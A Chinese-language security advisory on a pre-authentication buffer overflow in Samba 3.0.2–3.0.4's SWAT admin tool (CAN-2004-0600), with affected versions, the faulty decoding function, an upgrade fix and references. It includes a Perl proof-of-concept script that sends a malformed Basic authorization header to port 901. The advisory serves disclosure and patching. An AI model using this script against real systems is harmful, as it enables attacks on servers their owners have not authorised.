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Samba 3.x SWAT预验证远程缓冲区溢出漏洞
Samba 3.x SWAT预验证远程缓冲区溢出漏洞
发布时间:2004-07-22 更新时间:2004-07-22 严重程度:高 威胁程度:远程管理员权限 错误类型:边界检查错误 利用方式:服务器模式 CVE(CAN) ID:CAN-2004-0600 受影响系统 Samba 3.0.2 Samba 3.0.3 Samba 3.0.4 详细描述 SWAT是Samba Web管理工具。 Samba SWAT服务预验证存在缓冲区溢出问题,远程攻击者可以利用这个漏洞在系统上以SWAT进程权限执行任意指令。问题存在于 source/lib/util_str.c文件中的进行HTTP Basic验证的base64_decode_data_blob函数中. 测试代码 #!/usr/bin/perl # Samba 3.0.4 and prior's SWAT Authorization Buffer Overflow # Created by Noam Rathaus of Beyond Security Ltd. # use IO::Socket; use strict; my $host = $ARGV[0]; my $remote = IO::Socket::INET->new ( Proto => "tcp", PeerAddr => $host, PeerPort => "901" ); unless ($remote) { die "cannot connect to http daemon on $host" } print "connected\n"; $remote->autoflush(1); my $http = "GET / HTTP/1.1\r Host: $host:901\r User-Agent: Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.7) Gecko/20040712 Firefox/0.9.1\r Accept: text/xml\r Accept-Language: en-us,en;q=0.5\r Accept-Encoding: gzip,deflate\r Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7\r Keep-Alive: 300\r Connection: keep-alive\r Authorization: Basic =\r \r "; print "HTTP: [$http]\n"; print $remote $http; sleep(1); print "Sent\n"; while (<$remote>) { print $_; } print "\n"; close $remote; 解决方案 下载升级程序: Samba 3.0.5: http://www.samba.org/samba/whatsnew/samba-3.0.5.htm 相关信息 http://www.securiteam.com/unixfocus/5EP0R0KDFE.html |
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